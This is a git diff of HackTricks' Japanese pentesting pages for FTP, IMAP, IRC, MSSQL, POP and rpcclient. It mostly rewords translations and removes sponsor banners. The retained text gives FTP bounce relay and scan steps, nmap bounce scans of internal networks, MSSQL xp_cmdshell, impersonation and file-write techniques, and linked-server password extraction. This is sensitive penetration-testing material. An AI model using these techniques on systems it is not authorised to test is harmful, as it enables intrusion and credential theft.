127.0.0.1のポート80でTCP接続を確立するよう指示します(_「2」によって示されます_)。このコマンドは**IPv6をサポートしています**。 * **`LIST`** 現在のフォルダー内のファイルのリストを送信します * **`LIST -R`** 再帰的にリスト(サーバーが許可している場合) -* **`APPE /path/something.txt`** これは、FTPに**パッシブ**接続または**PORT/EPRT**接続から受信したデータをファイルに保存するよう指示します。ファイル名が存在する場合、データを追加します。 -* **`STOR /path/something.txt`** `APPE`のように、ファイルを上書きします -* **`STOU /path/something.txt`** `APPE`のように、存在する場合は何もしません。 +* **`APPE /path/something.txt`** これはFTPに**パッシブ**接続または**PORT/EPRT**接続から受信したデータをファイルに保存するよう指示します。ファイル名が存在する場合、データを追加します。 +* **`STOR /path/something.txt`** `APPE`のように、しかしファイルを上書きします +* **`STOU /path/something.txt`** `APPE`のように、しかし存在する場合は何もしません。 * **`RETR /path/to/file`** パッシブまたはポート接続を確立する必要があります。その後、FTPサーバーはその接続を通じて指定されたファイルを送信します -* **`REST 6`** これは、次回`RETR`を使用して何かを送信する際に6バイト目から開始するようサーバーに指示します。 +* **`REST 6`** これはサーバーに次回`RETR`を使用して何かを送信する際に6バイト目から開始するよう指示します。 * **`TYPE i`** 転送をバイナリに設定します * **`PASV`** これはパッシブ接続を開き、ユーザーが接続できる場所を示します * **`PUT /tmp/file.txt`** 指定されたファイルをFTPにアップロードします @@ -173,26 +165,26 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ [**ここでFTPサーバーを悪用してポートをスキャンする方法を学びましょう。**](ftp-bounce-attack.md) -この動作を悪用して、FTPサーバーを他のプロトコルと相互作用させることもできます。**HTTPリクエストを含むファイルをアップロード**し、脆弱なFTPサーバーに**任意のHTTPサーバーに送信させる**ことができます(_新しい管理ユーザーを追加するため?_)または、FTPリクエストをアップロードして、脆弱なFTPサーバーに別のFTPサーバーからファイルをダウンロードさせることもできます。\ +この動作を悪用して、FTPサーバーを他のプロトコルと相互作用させることもできます。**HTTPリクエストを含むファイルをアップロード**し、脆弱なFTPサーバーに**任意のHTTPサーバーに送信させる**ことができます(_新しい管理者ユーザーを追加するため?_)または、FTPリクエストをアップロードして脆弱なFTPサーバーに別のFTPサーバーからファイルをダウンロードさせることもできます。\ 理論は簡単です: -1. **脆弱なサーバーにリクエスト(テキストファイル内)をアップロードします。** 他のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があることを忘れないでください。 -2. **`REST X`を使用して、送信したくない文字を送信しないようにします**(おそらく、リクエストをファイル内にアップロードするために、最初にいくつかの画像ヘッダーを入れる必要がありました)。 +1. **脆弱なサーバーにリクエスト(テキストファイル内)をアップロードします。** 他のHTTPまたはFTPサーバーと通信したい場合は、`0x0d 0x0a`で行を変更する必要があることを忘れないでください。 +2. **`REST X`を使用して送信したくない文字を送信しないようにします**(_リクエストをファイル内にアップロードするために、最初にいくつかの画像ヘッダーを入れる必要があるかもしれません_) 3. **`PORT`を使用して任意のサーバーとサービスに接続します** 4. **`RETR`を使用して保存されたリクエストをサーバーに送信します。** -これは**_ソケットが書き込み可能ではない_**というエラーを引き起こす可能性が非常に高いです**。これは、接続が`RETR`でデータを送信するのに十分長く続かないためです**。これを回避するための提案は次のとおりです: +これは**_ソケットが書き込み可能ではない_**というエラーを引き起こす可能性が非常に高いです。**接続が`RETR`でデータを送信するのに十分長くないためです**。これを回避するための提案は: -* HTTPリクエストを送信している場合は、**同じリクエストを1つの後にもう1つ**、少なくとも**\~0.5MB**まで送信します。次のように: +* HTTPリクエストを送信している場合、**同じリクエストを次々と送信します**、少なくとも**\~0.5MB**まで。次のように: {% file src="../../.gitbook/assets/posts.txt" %} posts.txt {% endfile %} -* **プロトコルに関連する「ジャンク」データでリクエストを埋める**ことを試みます(FTPと話す場合は、ジャンクコマンドやファイルを取得するために`RETR`命令を繰り返すこと)。 -* **リクエストを多くのヌル文字やその他のもので埋める**(行で分けるかどうかは問わず)。 +* **プロトコルに関連する「ジャンク」データでリクエストを埋める**ことを試みます(FTPと話す場合は、ジャンクコマンドや`RETR`命令を繰り返してファイルを取得すること) +* **リクエストを多くのヌル文字や他の文字で埋める**(行で分けるかどうかは問わず) -とにかく、ここに[異なるFTPサーバーからファイルをダウンロードするためにこれを悪用する古い例があります。](ftp-bounce-download-2oftp-file.md) +いずれにせよ、ここに[異なるFTPサーバーからファイルをダウンロードするためにこれを悪用する古い例があります。](ftp-bounce-download-2oftp-file.md) ## Filezillaサーバーの脆弱性 @@ -224,15 +216,6 @@ vsFTPdのデフォルト設定は`/etc/vsftpd.conf`にあります。ここに * `ftp` * `port:21` -*** - -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** ## HackTricks Automatic Commands ``` @@ -296,7 +279,7 @@ GCPハッキングを学び、実践する: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## FTP Bounce - Scanning ### Manual 1. 脆弱なFTPに接続します -2. **`PORT`**または**`EPRT`**(どちらか1つのみ)を使用して、スキャンしたい_\_との接続を確立します: +2. スキャンしたい _\_ との接続を確立するために、**`PORT`**または**`EPRT`**(どちらか一方のみ)を使用します: `PORT 172,32,80,80,0,8080`\ `EPRT |2|172.32.80.80|8080|` -3. **`LIST`**を使用します(これにより、接続された_\_にFTPフォルダ内の現在のファイルのリストが送信されます)し、可能な応答を確認します:`150 File status okay`(これはポートが開いていることを意味します)または`425 No connection established`(これはポートが閉じていることを意味します) -4. `LIST`の代わりに**`RETR /file/in/ftp`**を使用し、同様の`Open/Close`応答を探すこともできます。 +3. **`LIST`**を使用します(これにより、接続された _\_ にFTPフォルダ内の現在のファイルのリストが送信されます)し、可能な応答を確認します:`150 File status okay`(これはポートが開いていることを意味します)または`425 No connection established`(これはポートが閉じていることを意味します) +1. `LIST`の代わりに**`RETR /file/in/ftp`**を使用し、同様の`Open/Close`応答を探すこともできます。 **PORT**を使用した例(172.32.80.80のポート8080は開いており、ポート7777は閉じています): @@ -53,12 +45,6 @@ nmap -b :@ nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443 ``` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/network-services-pentesting/pentesting-imap.md b/network-services-pentesting/pentesting-imap.md index 651af6e0c..bfec7f0c7 100644 --- a/network-services-pentesting/pentesting-imap.md +++ b/network-services-pentesting/pentesting-imap.md @@ -15,17 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## インターネットメッセージアクセスプロトコル -**インターネットメッセージアクセスプロトコル (IMAP)** は、ユーザーが**どこからでもメールメッセージにアクセスできるようにする**ことを目的として設計されています。主にインターネット接続を通じて行われます。要するに、メールは**サーバーに保持され**、個人のデバイスにダウンロードして保存されることはありません。これは、メールにアクセスまたは読み取る際に、**サーバーから直接行われる**ことを意味します。この機能により、**複数のデバイス**からメールを確認する便利さが提供され、使用するデバイスに関係なくメッセージを見逃すことがありません。 +**インターネットメッセージアクセスプロトコル (IMAP)** は、ユーザーが**どの場所からでもメールメッセージにアクセスできるようにする**ことを目的として設計されています。主にインターネット接続を通じて行われます。要するに、メールは**サーバーに保持され**、個人のデバイスにダウンロードされて保存されることはありません。これは、メールにアクセスまたは読み取る際に、**サーバーから直接行われる**ことを意味します。この機能により、**複数のデバイス**からメールを確認する便利さが提供され、使用するデバイスに関係なくメッセージを見逃すことがありません。 デフォルトでは、IMAPプロトコルは2つのポートで動作します: @@ -112,7 +104,7 @@ apt install evolution ### CURL -基本的なナビゲーションは[CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap)で可能ですが、ドキュメントは詳細に乏しいため、正確な詳細については[source](https://github.com/curl/curl/blob/master/lib/imap.c)を確認することをお勧めします。 +基本的なナビゲーションは[CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap)で可能ですが、ドキュメントは詳細に乏しいため、正確な詳細については[ソース](https://github.com/curl/curl/blob/master/lib/imap.c)を確認することをお勧めします。 1. メールボックスのリスト表示 (imapコマンド `LIST "" "*"`) ```bash @@ -157,12 +149,6 @@ done * `port:143 CAPABILITY` * `port:993 CAPABILITY` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - ## HackTricks 自動コマンド ``` Protocol_Name: IMAP #Protocol Abbreviation if there is one. @@ -203,7 +189,7 @@ GCPハッキングを学び、実践する: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害**されているかどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** ## 基本情報 -IRCは、最初は**プレーンテキストプロトコル**であり、IANAによって**194/TCP**が割り当てられましたが、一般的には**6667/TCP**や同様のポートで運用され、**root権限**なしで動作できるようにしています。 +IRCは、最初は**プレーンテキストプロトコル**であり、IANAによって**194/TCP**が割り当てられましたが、一般的には**6667/TCP**および類似のポートで実行され、**root権限**なしで操作できるようにしています。 -サーバーに接続するためには**ニックネーム**だけが必要です。接続後、サーバーはユーザーのIPに対して逆DNSルックアップを行います。 +サーバーに接続するためには**ニックネーム**だけが必要です。接続後、サーバーはユーザーのIPに対して逆引きDNSルックアップを行います。 -ユーザーは、より多くのアクセスのために**ユーザー名**と**パスワード**が必要な**オペレーター**と、通常の**ユーザー**に分かれます。オペレーターは、管理者が最上位にいるさまざまな権限レベルを持っています。 +ユーザーは、より多くのアクセスのために**ユーザー名**と**パスワード**が必要な**オペレーター**と、通常の**ユーザー**に分かれます。オペレーターは異なる権限レベルを持ち、管理者が最上位にいます。 **デフォルトポート:** 194, 6667, 6660-7000 ``` @@ -51,9 +38,9 @@ IRCは**TLS**をサポートできます。 nc -vn openssl s_client -connect : -quiet ``` -### マニュアル +### Manual -ここでは、**ランダムなニックネーム**を使用してIRCに接続し、いくつかの興味深い情報を列挙する方法を示します。IRCのコマンドについては[こちら](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP)で詳しく学ぶことができます。 +ここでは、いくつかの**ランダムなニックネーム**を使用してIRCに接続し、アクセスする方法と、いくつかの興味深い情報を列挙する方法を示します。IRCのコマンドについては[こちら](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP)で詳しく学ぶことができます。 ```bash #Connection with random nickname USER ran213eqdw123 0 * ran213eqdw123 @@ -98,17 +85,6 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66 * `ホスト名を調べる` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index d488b613e..3bcbfb192 100644 --- a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -15,19 +15,11 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## 基本情報 From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server): -> **Microsoft SQL Server**は、Microsoftによって開発された**リレーショナルデータベース**管理システムです。データベースサーバーとして、主な機能は、他のソフトウェアアプリケーションから要求されたデータを保存および取得することです。これらのアプリケーションは、同じコンピュータ上またはネットワーク(インターネットを含む)上の別のコンピュータで実行される場合があります。\\ +> **Microsoft SQL Server** は **リレーショナルデータベース** 管理システムで、Microsoft によって開発されました。データベースサーバーとして、主な機能は、他のソフトウェアアプリケーションから要求されたデータを保存および取得することです。これらのアプリケーションは、同じコンピュータ上またはネットワーク(インターネットを含む)上の別のコンピュータで実行される場合があります。\\ **デフォルトポート:** 1433 ``` @@ -36,9 +28,9 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server): ### **デフォルト MS-SQL システムテーブル** * **master データベース**: このデータベースは、SQL Server インスタンスのすべてのシステムレベルの詳細をキャプチャするため、重要です。 -* **msdb データベース**: SQL Server Agent は、このデータベースを利用してアラートやジョブのスケジューリングを管理します。 +* **msdb データベース**: SQL Server Agent は、このデータベースを使用してアラートやジョブのスケジュールを管理します。 * **model データベース**: SQL Server インスタンス上のすべての新しいデータベースの青写真として機能し、サイズ、照合、リカバリモデルなどの変更が新しく作成されたデータベースに反映されます。 -* **Resource データベース**: SQL Server に付属するシステムオブジェクトを格納する読み取り専用データベースです。これらのオブジェクトは、Resource データベースに物理的に保存されますが、すべてのデータベースの sys スキーマに論理的に表示されます。 +* **Resource データベース**: SQL Server に付属するシステムオブジェクトを格納する読み取り専用データベースです。これらのオブジェクトは、Resource データベースに物理的に保存されている一方で、すべてのデータベースの sys スキーマに論理的に表示されます。 * **tempdb データベース**: 一時的なオブジェクトや中間結果セットのための一時ストレージエリアとして機能します。 ## 列挙 @@ -54,7 +46,7 @@ msf> use auxiliary/scanner/mssql/mssql_ping もし**資格情報**が**ない**場合は、それを推測してみることができます。nmapやmetasploitを使用できます。注意してください、既存のユーザー名を使用して何度もログインに失敗すると、**アカウントをブロック**する可能性があります。 {% endhint %} -#### Metasploit (資格情報が必要) +#### Metasploit(資格情報が必要) ```bash #Set USERNAME, RHOSTS and PASSWORD #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used @@ -165,7 +157,7 @@ SELECT * FROM sysusers 2. **権限:** SQL Serverのセキュアブルに関連付けられ、ALTER、CONTROL、CREATEなどの権限が主体に付与されることがあります。権限の管理は2つのレベルで行われます: * **サーバーレベル** – ログインを使用 * **データベースレベル** – ユーザーを使用 -3. **主体:** この用語は、セキュアブルに対して権限を付与されるエンティティを指します。主体には主にログインとデータベースユーザーが含まれます。セキュアブルへのアクセスの制御は、権限の付与または拒否、またはアクセス権を持つロールにログインとユーザーを含めることによって行われます。 +3. **主体:** この用語は、セキュアブルに対して権限を付与されるエンティティを指します。主体には主にログインとデータベースユーザーが含まれます。セキュアブルへのアクセス制御は、権限の付与または拒否、またはアクセス権を持つロールにログインとユーザーを含めることによって行われます。 ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -190,7 +182,7 @@ EXEC sp_helprotect 'xp_cmdshell' ### OSコマンドの実行 {% hint style="danger" %} -コマンドを実行するためには、**`xp_cmdshell`** が **有効** であるだけでなく、**`xp_cmdshell` ストアドプロシージャに対する EXECUTE 権限を持っていること** も必要です。**`xp_cmdshell`** を使用できるユーザー(sysadminを除く)を取得するには、次のコマンドを使用できます: +コマンドを実行するためには、**`xp_cmdshell`** が **有効** であるだけでなく、**`xp_cmdshell` ストアドプロシージャに対する EXECUTE 権限を持っていること** も必要です。誰が **`xp_cmdshell`** を使用できるか(sysadminを除く)を取得するには、次のコマンドを使用できます: ```sql Use master EXEC sp_helprotect 'xp_cmdshell' @@ -256,7 +248,7 @@ EXEC sp_helprotect 'xp_fileexist'; ### MSSQLの信頼されたリンクの悪用 -[**この投稿を読む**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **この機能の悪用方法についての詳細情報を見つけるために:** +[**この投稿を読む**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **この機能を悪用する方法についての詳細情報を見つけるために:** {% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} [abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) @@ -264,7 +256,7 @@ EXEC sp_helprotect 'xp_fileexist'; ### **ファイルの書き込み** -`MSSQL`を使用してファイルを書き込むには、[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)を**有効にする必要があり**、これには管理者権限が必要です。その後、ファイルを作成するためにいくつかのストアドプロシージャを実行します: +`MSSQL`を使用してファイルを書き込むには、[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)を**有効にする必要があり**、これは管理者権限を必要とし、その後ファイルを作成するためにいくつかのストアドプロシージャを実行します: ```bash # Enable Ole Automation Procedures sp_configure 'show advanced options', 1 @@ -321,7 +313,7 @@ GO ``` ### レジストリの読み取り -Microsoft SQL Serverは、**ネットワークだけでなく、ファイルシステムや[**Windowsレジストリ**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**とも対話することを可能にする**複数の拡張ストアドプロシージャ**を提供しています。** +Microsoft SQL Serverは、**ネットワークだけでなく、ファイルシステムや[**Windowsレジストリ**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**とも対話することを可能にする**複数の拡張ストアドプロシージャ**を提供します。** | **通常** | **インスタンス対応** | | ---------------------------- | -------------------------------------- | @@ -406,7 +398,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer ``` ### 他のユーザーのなりすまし -SQL Serverには、**`IMPERSONATE`**という特別な権限があり、**実行中のユーザーが別のユーザーまたはログインの権限を引き継ぐことを許可します**。これは、コンテキストがリセットされるか、セッションが終了するまで続きます。 +SQL Serverには、**`IMPERSONATE`**という特別な権限があり、**実行中のユーザーが他のユーザーまたはログインの権限を引き継ぐことを許可します**。これは、コンテキストがリセットされるか、セッションが終了するまで続きます。 ```sql # Find users you can impersonate SELECT distinct b.name @@ -427,7 +419,7 @@ enum_links use_link [NAME] ``` {% hint style="info" %} -ユーザーを偽装できる場合、たとえそのユーザーがsysadminでなくても、**そのユーザーが他の** **データベース**やリンクサーバーにアクセスできるかどうかを確認するべきです。 +ユーザーを偽装できる場合、たとえそのユーザーがsysadminでなくても、他の**データベース**やリンクサーバーへの**アクセスがあるか**を確認するべきです。 {% endhint %} sysadminになると、他のユーザーを偽装できることに注意してください: @@ -456,19 +448,19 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse ## SQL Server Linked Serversからのパスワード抽出 -攻撃者はSQLインスタンスからSQL Server Linked Serversのパスワードを抽出し、平文で取得することができ、攻撃者にターゲットに対するより大きな足場を得るために使用できるパスワードを与えます。Linked Serversのために保存されたパスワードを抽出し復号化するスクリプトは[こちら](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)にあります。 +攻撃者はSQL Server Linked ServersのパスワードをSQLインスタンスから抽出し、平文で取得することができ、攻撃者にターゲットに対するより大きな足場を得るために使用できるパスワードを与えます。Linked Serversのために保存されたパスワードを抽出し復号化するスクリプトは[こちら](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)にあります。 このエクスプロイトが機能するためには、いくつかの要件と設定が必要です。まず第一に、マシン上で管理者権限を持っているか、SQL Serverの設定を管理する能力が必要です。 権限を確認した後、次の3つのことを設定する必要があります。 1. SQL ServerインスタンスでTCP/IPを有効にする。 -2. スタートアップパラメータを追加する。この場合、トレースフラグが追加されます。-T7806です。 +2. スタートアップパラメータを追加する。この場合、トレースフラグ-T7806が追加されます。 3. リモート管理接続を有効にする。 -これらの設定を自動化するために、[このリポジトリ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)には必要なスクリプトがあります。設定の各ステップのためのPowerShellスクリプトがあるだけでなく、設定スクリプトとパスワードの抽出および復号化を組み合わせた完全なスクリプトも含まれています。 +これらの設定を自動化するために、[このリポジトリ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)には必要なスクリプトがあります。設定の各ステップのためのPowerShellスクリプトがあるだけでなく、リポジトリには設定スクリプトとパスワードの抽出および復号化を組み合わせた完全なスクリプトもあります。 -この攻撃に関するさらなる情報は、次のリンクを参照してください:[MSSQLデータベースリンクサーバーパスワードの復号化](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +この攻撃に関する詳細情報は、次のリンクを参照してください:[MSSQLデータベースリンクサーバーパスワードの復号化](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [SQL Server専用管理者接続のトラブルシューティング](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) @@ -497,15 +489,9 @@ MSSQLサーバーを実行しているユーザーは、特権トークン**SeIm * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) * [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) -* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group** +* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) * [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/) -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## HackTricks自動コマンド ``` Protocol_Name: MSSQL #Protocol Abbreviation if there is one. diff --git a/network-services-pentesting/pentesting-pop.md b/network-services-pentesting/pentesting-pop.md index e9e094504..b89de3efa 100644 --- a/network-services-pentesting/pentesting-pop.md +++ b/network-services-pentesting/pentesting-pop.md @@ -15,17 +15,10 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** ## 基本情報 -**Post Office Protocol (POP)** は、コンピュータネットワークとインターネットの領域内で説明されるプロトコルであり、**リモートメールサーバーからのメールの抽出と取得**に利用され、ローカルデバイスでアクセス可能にします。OSIモデルのアプリケーション層に位置するこのプロトコルは、ユーザーがメールを取得し受信することを可能にします。**POPクライアント**の操作は通常、メールサーバーへの接続を確立し、すべてのメッセージをダウンロードし、これらのメッセージをクライアントシステムにローカルに保存し、その後サーバーから削除することを含みます。このプロトコルには3つのバージョンがありますが、**POP3**が最も広く使用されているバージョンとして際立っています。 +**Post Office Protocol (POP)** は、コンピュータネットワークとインターネットの領域内で説明されるプロトコルであり、**リモートメールサーバーからのメールの抽出と取得**に利用され、ローカルデバイスでアクセス可能にします。OSIモデルのアプリケーション層に位置するこのプロトコルは、ユーザーがメールを取得し受信することを可能にします。**POPクライアント**の動作は通常、メールサーバーへの接続を確立し、すべてのメッセージをダウンロードし、これらのメッセージをクライアントシステムにローカルに保存し、その後サーバーから削除することを含みます。このプロトコルには3つのバージョンがありますが、**POP3**が最も広く使用されているバージョンとして際立っています。 **デフォルトポート:** 110, 995(ssl) ``` @@ -96,19 +89,14 @@ password: PA$$W0RD!Z From [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073) -| **設定** | **説明** | +| **設定** | **説明** | | ------------------------- | ----------------------------------------------------------------------------------------- | -| `auth_debug` | すべての認証デバッグログを有効にします。 | +| `auth_debug` | すべての認証デバッグログを有効にします。 | | `auth_debug_passwords` | この設定はログの冗長性を調整し、送信されたパスワードとスキームがログに記録されます。 | -| `auth_verbose` | 不成功な認証試行とその理由をログに記録します。 | -| `auth_verbose_passwords` | 認証に使用されたパスワードがログに記録され、切り捨てられることもあります。 | -| `auth_anonymous_username` | ANONYMOUS SASLメカニズムでログインする際に使用されるユーザー名を指定します。 | +| `auth_verbose` | 認証の失敗した試行とその理由をログに記録します。 | +| `auth_verbose_passwords` | 認証に使用されるパスワードがログに記録され、切り詰められることもあります。 | +| `auth_anonymous_username` | ANONYMOUS SASLメカニズムでログインする際に使用されるユーザー名を指定します。 | -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} ## HackTricks 自動コマンド ``` @@ -160,7 +148,7 @@ GCPハッキングを学び、実践する: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### Relative Identifiers (RID) と Security Identifiers (SID) の概要 -**Relative Identifiers (RID)** と **Security Identifiers (SID)** は、ネットワークドメイン内のオブジェクト(ユーザーやグループなど)を一意に識別し管理するためのWindowsオペレーティングシステムの重要なコンポーネントです。 +**Relative Identifiers (RID)** と **Security Identifiers (SID)** は、ネットワークドメイン内のユーザーやグループなどのオブジェクトを一意に識別し管理するための、Windowsオペレーティングシステムの重要なコンポーネントです。 - **SID** はドメインの一意の識別子として機能し、各ドメインが区別できるようにします。 -- **RID** はSIDに追加され、これらのドメイン内のオブジェクトの一意の識別子を作成します。この組み合わせにより、オブジェクトの権限とアクセス制御の正確な追跡と管理が可能になります。 +- **RID** はSIDに付加され、これらのドメイン内のオブジェクトの一意の識別子を作成します。この組み合わせにより、オブジェクトの権限やアクセス制御の正確な追跡と管理が可能になります。 例えば、`pepe`という名前のユーザーは、ドメインのSIDと特定のRIDを組み合わせた一意の識別子を持つことがあります。これは16進数(`0x457`)および10進数(`1111`)形式で表されます。これにより、ドメイン内のpepeの完全かつ一意の識別子は次のようになります: `S-1-5-21-1074507654-1937615267-42093643874-1111`。 ### **rpcclientによる列挙** -Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介してRPCエンドポイントと対話するために使用されます**。以下のコマンドは、**SMBセッションが確立された後にSAMR、LSARPC、およびLSARPC-DSインターフェースに対して発行できます**。通常、資格情報が必要です。 +Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介してRPCエンドポイントと対話するために使用されます**。以下のコマンドは、**SMBセッションが確立された後にSAMR、LSARPC、およびLSARPC-DSインターフェースに対して発行できます**。これには、通常、資格情報が必要です。 #### サーバー情報 @@ -69,18 +61,18 @@ done #### ドメインの列挙 -* **ドメイン**は: `enumdomains`を使用。 +* **ドメイン**は: `enumdomains`を使用して。 * **ドメインのSIDは取得される**: `lsaquery`を通じて。 * **ドメイン情報は取得される**: `querydominfo`で。 -#### シェアの列挙 +#### 共有の列挙 -* **すべての利用可能なシェア**は: `netshareenumall`で。 -* **特定のシェアに関する情報は取得される**: `netsharegetinfo `で。 +* **すべての利用可能な共有**は: `netshareenumall`で。 +* **特定の共有に関する情報は取得される**: `netsharegetinfo `で。 #### SIDに関する追加操作 -* **名前によるSID**は: `lookupnames `を使用。 +* **名前によるSID**は: `lookupnames `を使用して。 * **さらに多くのSID**は: `lsaenumsid`で。 * **より多くのSIDを確認するためのRIDサイクリング**は: `lookupsids `で行われる。 @@ -104,12 +96,6 @@ done ツール _**samrdump**_ **と** _**rpcdump**_ の動作をよりよく理解するためには、[**Pentesting MSRPC**](../135-pentesting-msrpc.md)を読むべきです。 -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -119,7 +105,7 @@ GCPハッキングを学び、実践する: HackTricksをサポートする * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
diff --git a/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md b/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md index 86f882b92..46384917b 100644 --- a/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md +++ b/network-services-pentesting/pentesting-voip/basic-voip-protocols/README.md @@ -10,26 +10,12 @@ GCPハッキングを学び、実践する:
